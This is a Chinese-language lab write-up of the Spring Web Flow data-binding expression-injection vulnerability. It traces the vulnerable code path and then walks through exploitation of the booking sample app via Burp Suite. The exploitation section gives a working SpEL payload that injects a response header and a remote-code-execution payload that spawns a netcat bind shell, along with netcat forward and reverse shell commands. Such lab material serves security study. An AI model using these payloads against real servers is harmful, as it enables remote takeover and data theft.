Spring Web Flow

Spring 的一個子項目,其最主要的目的是解決跨越多個請求的、用戶與伺服器之間的、有狀態交互問題。

漏洞介紹

SpringWebFlow在Model的數據綁定上面,由於沒有明確指定相關model的具體屬性導致從表單可以提交惡意的表達式從而被執行,導致任意代碼執行的漏洞,這個漏洞利用除了版本的限制之外還有兩個前置條件,這兩個前置條件中有一個是默認配置,另外一個就是編碼規範了,漏洞能不能利用成功主要就取決於後面的條件。

觸發漏洞前提條件:

測試時需要注意修改

org.springframework.webflow.samples.booking.config.WebFlowConfig.mvcViewFactoryCreator()

方法中的改成 factoryCreator.setUseSpringBeanBinding(false); 因為這個工程修改了useSpringBeanBinding的默認值。

漏洞危害

成功攻擊後攻擊者遠程命令執行,危害伺服器安全,敏感信息泄露等。

本篇文章首先分析其代碼,然後進行漏洞驗證

實驗內容

步驟1:分析代碼

SpringWebFlow的執行順序和流程,flowcontroller決定將請求交給哪個handler去執行具體的流程,這裡我們需要知道當用戶請求有視圖狀態處理時,會決定當前事件下一個執行的流程,同時對於配置文件中我們配置的view-state元素,如果我們指定了數據的model,那麼它會自動進行數據綁定,xml結構如下:

view-state節點中數據綁定上,我們繼續跟蹤addEmptyValueMapping方法的調用過程,這裡通過eclipse我們可以發現bind方法間接的調用了addEmptyValueMapping函數,

addEmptyValueMapping函數存在表達式執行的點,我們現在來詳細看下這個addEmptyValueMapping函數,如下圖:

控制了field參數才能觸發漏洞,找到有沒有點我們可以控制從而控制field參數來進行任意代碼執行,這裡明確目標後,我們回過頭來看addDefaultMappingsaddModelBindings這兩個函數,既然這兩個函數都調用了存在缺陷的函數,那麼我們看看這兩個函數的區別是什麼,而且那個函數能控制field參數,兩個函數的區別如下:

addModelBindings函數中for (Binding binding : binderConfiguration.getBindings()) 存在這樣一個循環,而且就是這個循環的控制決定了field參數的值,經過進一步分析,這裡控制field的參數的決定性因素就是binderConfiguration這個變數所控制的值,這裡經過源碼的跟蹤我們可以發現,binderConfiguration函數的值就是webflow-*.xmlview-statebinder節點的配置,所以這個函數的值來源於配置文件,所以這個函數我們無法控制,從而無法觸發漏洞,所以我們重點來看看addDefaultMappings這個函數,我們發現addDefaultMappings中我們可以控制field參數,所以我們重點來看看如何去觸發這個函數。

現在我們基本上可以確定了addDefaultMappings函數是我們觸發漏洞的關鍵點,那麼如上圖所示,bing函數中調用了這兩個函數,那麼我們可以看出只有當binderConfiguration為空的時候才能觸發我們的漏洞,那麼我們剛才也說了binderConfiguration這個值是由配置文件中是否有binder節點來控制的(這裡需要注意的是程序執行到bind方法的前置條件是view-state節點中是否配置了model屬性,即綁定的javabean對象是什麼),而且addDefaultMappings函數中parameterNames參數就是我們從表單中傳遞的值,所以到這裡漏洞的觸發流程和觸發條件基本上清楚了,觸發條件如下:

webflow配置文件中view-state節點中指定了model屬性,並且沒有指定綁定的參數,即view-state中沒有配置binder節點

而且MvcViewFactoryCreator類中`useSpringBeanBinding默認值(false)未修改

這裡為什麼一定要useSpringBeanBinding的值為false,我們來看一下addEmptyValueMapping函數,這裡的expressionParser變數的聲明類是ExpressionParser介面,那麼決定最後 expressionParser.parseExpression(field, parserContext)這個函數來執行任意表達式是這個變數的賦值,那麼在spring webflow中這個expressionParser的默認值就是WebFlowELExpressionParser的實例,這個類表達式默認的解析是有spel來執行的,具體可以去跟蹤函數,那麼

org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression, ExpressionParser, ConversionService, BinderConfiguration, Validator, ValidationHintResolver)

這個類如下圖:

useSpringBeanBinding這個屬性為false那麼就使用默認的解析類,如果這個值為true就由BeanWrapperExpressionParser這個類來解析,這個類的parseExpression函數

allowDelimitedEvalExpressions函數,這個默認值是false,所以這裡是執行不了表達式的。滿足 useSpringBeanBinding這個默認值不被改變。構造的惡意參數名稱必須以_開頭,因為addDefaultMappings函數中的fieldMarkerPrefix變數。

步驟2:漏洞驗證

訪問地址,登陸後訂酒店:用系統已經創建好的用戶名密碼登陸

登陸後點擊,如圖:

任意選擇一個,點擊book hote繼續

填入信用卡、姓名等信息。

這時,開啟瀏覽器代理,打開BurpSuite,進行抓包,當點擊confirm時,Burp就會抓到對應的數據包。

截取到的數據包如下:

接下來添加Payload:

&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

將Payload寫入最後一項即可。

先發送到重放攻擊插件Repeater

可以看到,response header 中出現 vulnerable 頭,說明存在漏洞。

步驟3:漏洞利用

接下來載入EXP,如下:

&_(new+java.lang.ProcessBuilder("/bin/bash","-c","nc -lp 333 -c bash")).start()=iswin

利用方法和步驟2幾乎無差異,因此這裡不再贅述。這裡已經抓到了http包,添加EXP,點擊Go。

接下來要使用NC工具連接對應的埠,獲取從目標機器返回的shell,現在先介紹下nc的用法

遠控正向:

nc -lp 333 -c bash nc IP port遠控反向: nc -lp 333 nc IP 333 -c bash //windows下改為cmd即可

載入完EXP這時,目標機器的333埠已經打開,使用NC監聽埠,使用命令:

nc -nv 172.16.12.2 333 //監聽目標333埠

如圖可以執行命令,已經獲取到了目標系統的root許可權。

推薦閱讀:

相關文章